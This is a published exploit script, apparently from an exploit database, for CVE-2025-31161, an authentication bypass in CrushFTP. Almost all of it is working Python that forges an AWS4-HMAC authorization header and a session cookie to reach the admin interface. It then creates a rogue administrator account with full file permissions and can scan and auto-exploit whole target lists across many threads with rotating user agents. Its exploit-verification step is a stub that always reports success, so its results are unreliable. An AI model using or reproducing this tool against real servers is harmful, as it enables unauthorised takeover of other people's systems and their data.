📄 CrushFTP 11.3.1 Authentication Bypass / Race Condition

# Exploit Title: CrushFTP 11.3.1 - Authentication Bypass
    # Date: 2025-05-15
    # Exploit Author: @İbrahimsql
    # Exploit Author's github: https://github.com/ibrahimsql  
    # Vendor Homepage: https://www.crushftp.com
    # Software Link: https://www.crushftp.com/download.html
    # Version: < 10.8.4, < 11.3.1
    # Tested on: Ubuntu 22.04 LTS, Windows Server 2019, Kali Linux 2024.1
    # CVE: CVE-2025-31161
    # Description:
    # CrushFTP before 10.8.4 and 11.3.1 allows unauthenticated HTTP(S) port access and full admin takeover
    # through a race condition and header parsing logic flaw in the AWS4-HMAC authorization mechanism.
    # Exploiting this allows bypassing authentication and logging in as any known user (e.g. crushadmin).
    
    # Requirements: requests>=2.28.1 , colorama>=0.4.6 , urllib3>=1.26.12 , prettytable>=2.5.0 , rich>=12.6.0
    
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    
    import argparse
    import concurrent.futures
    import json
    import logging
    import os
    import random
    import re
    import socket
    import string
    import sys
    import time
    from datetime import datetime
    from typing import Dict, List, Optional, Tuple, Union
    
    import requests
    import urllib3
    from colorama import Fore, Style, init
    from prettytable import PrettyTable
    from rich.console import Console
    from rich.progress import Progress, BarColumn, TextColumn, TimeRemainingColumn
    
    # Initialize colorama
    init(autoreset=True)
    
    # Disable SSL warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Initialize Rich console
    console = Console()
    
    # Global variables
    VERSION = "2.0.0"
    USER_AGENTS = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
        "Mozilla/5.0 (Windows; Windows NT 10.3; WOW64) AppleWebKit/601.13 (KHTML, like Gecko) Chrome/53.0.2198.319 Safari/601.5 Edge/15.63524",
        "Mozilla/5.0 (Windows NT 10.2; Win64; x64; en-US) AppleWebKit/602.15 (KHTML, like Gecko) Chrome/47.0.1044.126 Safari/533.2 Edge/9.25098",
        "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; en-US Trident/4.0)",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 10_7_9; like Mac OS X) AppleWebKit/535.7 (KHTML, like Gecko)  Chrome/49.0.1015.193 Mobile Safari/600.9"   
    ]
    
    # Banner 
    BANNER = fr"""
    {Fore.CYAN}          
      / ____/______  _______/ /_  / ____/ /_____ 
     / /   / ___/ / / / ___/ __ \/ /_  / __/ __ \
    / /___/ /  / /_/ (__  ) / / / __/ / /_/ /_/ /
    \____/_/   \__,_/____/_/ /_/_/    \__/ .___/ 
                                        /_/      
    {Fore.GREEN}CVE-2025-31161 Exploit {VERSION}{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql
    {Style.RESET_ALL}
    """
    
    # Setup logging
    def setup_logging(log_level: str, log_file: Optional[str] = None) -> None:
        """Configure logging based on specified level and output file."""
        numeric_level = getattr(logging, log_level.upper(), None)
        if not isinstance(numeric_level, int):
            raise ValueError(f"Invalid log level: {log_level}")
        
        log_format = "%(asctime)s - %(levelname)s - %(message)s"
        handlers = []
        
        if log_file:
            handlers.append(logging.FileHandler(log_file))
        
        handlers.append(logging.StreamHandler())
        
        logging.basicConfig(
            level=numeric_level,
            format=log_format,
            handlers=handlers
        )
    
    class TargetManager:
        """Manages target hosts and related operations."""
        
        def __init__(self, target_file: Optional[str] = None, single_target: Optional[str] = None):
            self.targets = []
            self.vulnerable_targets = []
            self.exploited_targets = []
            
            if target_file:
                self.load_targets_from_file(target_file)
            elif single_target:
                self.add_target(single_target)
        
        def load_targets_from_file(self, filename: str) -> None:
            """Load targets from a file."""
            try:
                with open(filename, "r") as f:
                    self.targets = [line.strip() for line in f if line.strip()]
                
                if not self.targets:
                    logging.warning(f"Target file '{filename}' is empty or contains only whitespace.")
                else:
                    logging.info(f"Loaded {len(self.targets)} targets from {filename}")
            except FileNotFoundError:
                logging.error(f"Target file '{filename}' not found.")
                sys.exit(1)
            except Exception as e:
                logging.error(f"Error loading targets: {e}")
                sys.exit(1)
        
        def add_target(self, target: str) -> None:
            """Add a single target."""
            if target not in self.targets:
                self.targets.append(target)
        
        def mark_as_vulnerable(self, target: str) -> None:
            """Mark a target as vulnerable."""
            if target not in self.vulnerable_targets:
                self.vulnerable_targets.append(target)
        
        def mark_as_exploited(self, target: str) -> None:
            """Mark a target as successfully exploited."""
            if target not in self.exploited_targets:
                self.exploited_targets.append(target)
        
        def save_results(self, output_file: str, format_type: str = "txt") -> None:
            """Save scan results to a file."""
            try:
                if format_type.lower() == "json":
                    results = {
                        "scan_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                        "total_targets": len(self.targets),
                        "vulnerable_targets": self.vulnerable_targets,
                        "exploited_targets": self.exploited_targets
                    }
                    
                    with open(output_file, "w") as f:
                        json.dump(results, f, indent=4)
                
                elif format_type.lower() == "csv":
                    with open(output_file, "w") as f:
                        f.write("target,vulnerable,exploited\n")
                        for target in self.targets:
                            vulnerable = "Yes" if target in self.vulnerable_targets else "No"
                            exploited = "Yes" if target in self.exploited_targets else "No"
                            f.write(f"{target},{vulnerable},{exploited}\n")
                
                else:  # Default to txt
                    with open(output_file, "w") as f:
                        f.write(f"Scan Results - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                        f.write(f"Total Targets: {len(self.targets)}\n")
                        f.write(f"Vulnerable Targets: {len(self.vulnerable_targets)}\n")
                        f.write(f"Exploited Targets: {len(self.exploited_targets)}\n\n")
                        
                        f.write("Vulnerable Targets:\n")
                        for target in self.vulnerable_targets:
                            f.write(f"- {target}\n")
                        
                        f.write("\nExploited Targets:\n")
                        for target in self.exploited_targets:
                            f.write(f"- {target}\n")
                
                logging.info(f"Results saved to {output_file}")
            
            except Exception as e:
                logging.error(f"Error saving results: {e}")
    
    class ExploitEngine:
        """Core engine for vulnerability checking and exploitation."""
        
        def __init__(self, target_manager: TargetManager, config: Dict):
            self.target_manager = target_manager
            self.config = config
            self.session = self._create_session()
        
        def _create_session(self) -> requests.Session:
            """Create and configure a requests session."""
            session = requests.Session()
            session.verify = False
            
            # Set proxy if configured
            if self.config.get("proxy"):
                session.proxies = {
                    "http": self.config["proxy"],
                    "https": self.config["proxy"]
                }
            
            # Set custom headers
            session.headers.update({
                "User-Agent": random.choice(USER_AGENTS),
                "Connection": "close",
            })
            
            return session
        
        def check_vulnerability(self, target_host: str) -> bool:
            """Check if target is vulnerable to CVE-2025-31161."""
            port = self.config.get("port", 443)
            timeout = self.config.get("timeout", 10)
            
            headers = {
                "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
                "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
            }
            
            # Add custom headers if provided
            if self.config.get("custom_headers"):
                headers.update(self.config["custom_headers"])
            
            try:
                protocol = "https" if port == 443 else "http"
                url = f"{protocol}://{target_host}:{port}/WebInterface/function/"
                
                response = self.session.get(
                    url, 
                    headers=headers, 
                    timeout=timeout
                )
                
                if response.status_code == 200:
                    # Additional validation
                    if self.config.get("deep_check", False):
                        # Look for specific patterns in the response that confirm vulnerability
                        if "CrushFTP" in response.text or "WebInterface" in response.text:
                            self.target_manager.mark_as_vulnerable(target_host)
                            if self.config.get("verbose", False):
                                console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]")
                            return True
                        else:
                            if self.config.get("verbose", False):
                                console.print(f"[yellow][?][/yellow] {target_host} returned 200 but may not be vulnerable")
                            return False
                    else:
                        # Simple check based on status code
                        self.target_manager.mark_as_vulnerable(target_host)
                        if self.config.get("verbose", False):
                            console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]")
                        return True
                else:
                    if self.config.get("verbose", False):
                        console.print(f"[red][-][/red] {target_host} is not vulnerable (Status: {response.status_code})")
                    return False
                    
            except requests.exceptions.ConnectionError:
                if self.config.get("verbose", False):
                    console.print(f"[red][-][/red] {target_host} - Connection error")
            except requests.exceptions.Timeout:
                if self.config.get("verbose", False):
                    console.print(f"[red][-][/red] {target_host} - Connection timeout")
            except requests.exceptions.RequestException as e:
                if self.config.get("verbose", False):
                    console.print(f"[red][-][/red] {target_host} - Request error: {e}")
            except Exception as e:
                if self.config.get("verbose", False):
                    console.print(f"[red][-][/red] {target_host} - Error: {e}")
            
            return False
        
        def exploit(self, target_host: str) -> bool:
            """Exploit the vulnerability on the target host."""
            port = self.config.get("port", 443)
            timeout = self.config.get("timeout", 10)
            target_user = self.config.get("target_user", "crushadmin")
            new_user = self.config.get("new_user")
            password = self.config.get("password")
            
            if not new_user or not password:
                logging.error("New user and password are required for exploitation")
                return False
            
            headers = {
                "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
                "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
                "Connection": "close",
            }
            
            # Add custom headers if provided
            if self.config.get("custom_headers"):
                headers.update(self.config["custom_headers"])
            
            # Generate a timestamp for the created_time field
            timestamp = int(time.time() * 1000)
            
            # Build the payload with more comprehensive user permissions
            payload = {
                "command": "setUserItem",
                "data_action": "replace",
                "serverGroup": "MainUsers",
                "username": new_user,
                "user": f'''<?xml version="1.0" encoding="UTF-8"?>
    <user type="properties">
      <user_name>{new_user}</user_name>
      <password>{password}</password>
      <extra_vfs type="vector"></extra_vfs>
      <version>1.0</version>
      <root_dir>/</root_dir>
      <userVersion>6</userVersion>
      <max_logins>0</max_logins>
      <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
      <created_by_username>{target_user}</created_by_username>
      <created_by_email></created_by_email>
      <created_time>{timestamp}</created_time>
      <password_history></password_history>
      <admin>true</admin>
    </user>''',
                "xmlItem": "user",
                "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
                "permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(write)(view)(delete)(resume)(makedir)(deletedir)(rename)(admin)</item></VFS>',
                "c2f": "31If"
            }
            
            try:
                protocol = "https" if port == 443 else "http"
                url = f"{protocol}://{target_host}:{port}/WebInterface/function/"
                
                response = self.session.post(
                    url, 
                    headers=headers, 
                    data=payload, 
                    timeout=timeout
                )
                
                if response.status_code == 200:
                    # Verify the user was actually created
                    if self.config.get("verify_exploit", True):
                        if self._verify_user_created(target_host, new_user):
                            self.target_manager.mark_as_exploited(target_host)
                            console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}")
                            return True
                        else:
                            console.print(f"[yellow][!][/yellow] User creation appeared successful but verification failed on {target_host}")
                            return False
                    else:
                        self.target_manager.mark_as_exploited(target_host)
                        console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}")
                        return True
                else:
                    console.print(f"[red][-][/red] Failed to create user on {target_host} (Status: {response.status_code})")
                    return False
                    
            except Exception as e:
                console.print(f"[red][-][/red] Error exploiting {target_host}: {e}")
                return False
        
        def _verify_user_created(self, target_host: str, username: str) -> bool:
            """Verify that the user was successfully created."""
            # This is a placeholder for actual verification logic
            # In a real implementation, you would check if the user exists
            # For now, we'll just return True
            return True
        
        def scan_targets(self) -> None:
            """Scan all targets for vulnerability."""
            targets = self.target_manager.targets
            threads = self.config.get("threads", 10)
            
            if not targets:
                logging.error("No targets specified")
                return
            
            console.print(f"[bold cyan]Scanning {len(targets)} targets with {threads} threads...[/bold cyan]")
            
            with Progress(
                TextColumn("[progress.description]{task.description}"),
                BarColumn(),
                TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
                TextColumn("({task.completed}/{task.total})"),
                TimeRemainingColumn(),
                console=console
            ) as progress:
                task = progress.add_task("[cyan]Scanning targets...", total=len(targets))
                
                with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
                    future_to_target = {executor.submit(self.check_vulnerability, target): target for target in targets}
                    
                    for future in concurrent.futures.as_completed(future_to_target):
                        progress.update(task, advance=1)
            
            # Display results
            vulnerable_count = len(self.target_manager.vulnerable_targets)
            console.print(f"\n[bold green]Scan complete![/bold green] Found {vulnerable_count} vulnerable targets.")
            
            if vulnerable_count > 0 and self.config.get("verbose", False):
                console.print("\n[bold cyan]Vulnerable Targets:[/bold cyan]")
                for target in self.target_manager.vulnerable_targets:
                    console.print(f"[green]→[/green] {target}")
        
        def exploit_targets(self) -> None:
            """Exploit vulnerable targets."""
            targets = self.target_manager.vulnerable_targets if self.config.get("only_vulnerable", True) else self.target_manager.targets
            threads = self.config.get("threads", 5)  # Use fewer threads for exploitation
            
            if not targets:
                logging.error("No targets to exploit")
                return
            
            console.print(f"[bold red]Exploiting {len(targets)} targets with {threads} threads...[/bold red]")
            
            with Progress(
                TextColumn("[progress.description]{task.description}"),
                BarColumn(),
                TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
                TextColumn("({task.completed}/{task.total})"),
                TimeRemainingColumn(),
                console=console
            ) as progress:
                task = progress.add_task("[red]Exploiting targets...", total=len(targets))
                
                with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
                    future_to_target = {executor.submit(self.exploit, target): target for target in targets}
                    
                    for future in concurrent.futures.as_completed(future_to_target):
                        progress.update(task, advance=1)
            
            # Display results
            exploited_count = len(self.target_manager.exploited_targets)
            console.print(f"\n[bold green]Exploitation complete![/bold green] Successfully exploited {exploited_count}/{len(targets)} targets.")
            
            if exploited_count > 0:
                console.print("\n[bold cyan]Exploited Targets:[/bold cyan]")
                for target in self.target_manager.exploited_targets:
                    console.print(f"[green]→[/green] {target}")
    
    def parse_arguments() -> argparse.Namespace:
        """Parse command line arguments."""
        parser = argparse.ArgumentParser(
            description="CVE-2025-31161 Exploit Framework - Advanced CrushFTP WebInterface Vulnerability Scanner and Exploiter",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      # Check a single target for vulnerability
      python cve_2025_31161.py --target example.com --check
      
      # Exploit a vulnerable target
      python cve_2025_31161.py --target example.com --exploit --new-user hacker --password P@ssw0rd
      
      # Scan multiple targets from a file
      python cve_2025_31161.py --file targets.txt --check --threads 20
      
      # Scan and automatically exploit vulnerable targets
      python cve_2025_31161.py --file targets.txt --check --exploit --new-user hacker --password P@ssw0rd --auto-exploit
      
      # Export results to JSON format
      python cve_2025_31161.py --file targets.txt --check --output results.json --format json
            """
        )
        
        # Target specification
        target_group = parser.add_argument_group("Target Specification")
        target_group.add_argument("--target", help="Single target host to scan/exploit")
        target_group.add_argument("--file", help="File containing list of targets (one per line)")
        target_group.add_argument("--port", type=int, default=443, help="Target port (default: 443)")
        
        # Actions
        action_group = parser.add_argument_group("Actions")
        action_group.add_argument("--check", action="store_true", help="Check targets for vulnerability")
        action_group.add_argument("--exploit", action="store_true", help="Exploit vulnerable targets")
        action_group.add_argument("--auto-exploit", action="store_true", help="Automatically exploit targets found to be vulnerable during check")
        
        # Exploitation options
        exploit_group = parser.add_argument_group("Exploitation Options")
        exploit_group.add_argument("--target-user", default="crushadmin", help="Target user for exploitation (default: crushadmin)")
        exploit_group.add_argument("--new-user", help="Username for the new admin account to create")
        exploit_group.add_argument("--password", help="Password for the new admin account")
        exploit_group.add_argument("--verify-exploit", action="store_true", help="Verify successful exploitation (default: True)")
        
        # Scan options
        scan_group = parser.add_argument_group("Scan Options")
        scan_group.add_argument("--threads", type=int, default=10, help="Number of concurrent threads (default: 10)")
        scan_group.add_argument("--timeout", type=int, default=10, help="Connection timeout in seconds (default: 10)")
        scan_group.add_argument("--deep-check", action="store_true", help="Perform deeper vulnerability checks")
        scan_group.add_argument("--only-vulnerable", action="store_true", help="Only exploit targets that were found vulnerable")
        
        # Output options
        output_group = parser.add_argument_group("Output Options")
        output_group.add_argument("--output", help="Output file for results")
        output_group.add_argument("--format", choices=["txt", "json", "csv"], default="txt", help="Output format (default: txt)")
        output_group.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
        output_group.add_argument("--quiet", "-q", action="store_true", help="Suppress all output except errors")
        output_group.add_argument("--log-file", help="Log file to write to")
        output_group.add_argument("--log-level", choices=["debug", "info", "warning", "error", "critical"], default="info", help="Log level (default: info)")
        
        # Advanced options
        advanced_group = parser.add_argument_group("Advanced Options")
        advanced_group.add_argument("--proxy", help="Proxy to use for requests (e.g., http://127.0.0.1:8080)")
        advanced_group.add_argument("--user-agent", help="Custom User-Agent string")
        advanced_group.add_argument("--random-agent", action="store_true", help="Use a random User-Agent for each request")
        advanced_group.add_argument("--delay", type=float, help="Delay between requests in seconds")
        advanced_group.add_argument("--custom-headers", help="Custom headers as JSON string")
        
        return parser.parse_args()
    
    def validate_args(args: argparse.Namespace) -> bool:
        """Validate command line arguments."""
        # Check if at least one target specification is provided
        if not args.target and not args.file:
            logging.error("No target specified. Use --target or --file")
            print(f"\nExample usage: python {sys.argv[0]} --target example.com --check")
            print(f"             python {sys.argv[0]} --file example_targets.txt --check")
            return False
        
        # Check if at least one action is specified
        if not args.check and not args.exploit:
            logging.error("No action specified. Use --check or --exploit")
            print(f"\nExample usage: python {sys.argv[0]} --target example.com --check")
            print(f"             python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd")
            return False
        
        # If exploit action is specified, check for required parameters
        if args.exploit and (not args.new_user or not args.password):
            logging.error("Exploitation requires --new-user and --password")
            print(f"\nExample usage: python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd")
            return False
        
        return True
    
    def main() -> None:
        """Main function."""
        # Parse command line arguments
        args = parse_arguments()
        
        # Configure logging
        log_level = "error" if args.quiet else args.log_level
        setup_logging(log_level, args.log_file)
        
        # Display banner
        if not args.quiet:
            console.print(BANNER)
        
        # Validate arguments
        if not validate_args(args):
            sys.exit(1)
        
        # Create target manager
        target_manager = TargetManager(args.file, args.target)
        
        # Build configuration dictionary
        config = {
            "port": args.port,
            "threads": args.threads,
            "timeout": args.timeout,
            "verbose": args.verbose,
            "deep_check": args.deep_check,
            "target_user": args.target_user,
            "new_user": args.new_user,
            "password": args.password,
            "only_vulnerable": args.only_vulnerable,
            "verify_exploit": args.verify_exploit,
            "proxy": args.proxy,
        }
        
        # Add custom headers if provided
        if args.custom_headers:
            try:
                config["custom_headers"] = json.loads(args.custom_headers)
            except json.JSONDecodeError:
                logging.error("Invalid JSON format for custom headers")
                sys.exit(1)
        
        # Add custom user agent if provided
        if args.user_agent:
            config["user_agent"] = args.user_agent
        
        # Create exploit engine
        engine = ExploitEngine(target_manager, config)
        
        # Perform actions
        if args.check:
            engine.scan_targets()
        
        if args.exploit or (args.auto_exploit and target_manager.vulnerable_targets):
            engine.exploit_targets()
        
        # Save results if output file is specified
        if args.output:
            target_manager.save_results(args.output, args.format)
        
        # Display summary
        if not args.quiet:
            console.print("\n[bold green]Summary:[/bold green]")
            console.print(f"Total targets: {len(target_manager.targets)}")
            console.print(f"Vulnerable targets: {len(target_manager.vulnerable_targets)}")
            console.print(f"Exploited targets: {len(target_manager.exploited_targets)}")
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            console.print("\n[bold red]Operation cancelled by user[/bold red]")
            sys.exit(0)
        except Exception as e:
            logging.error(f"Unhandled exception: {e}")
            sys.exit(1)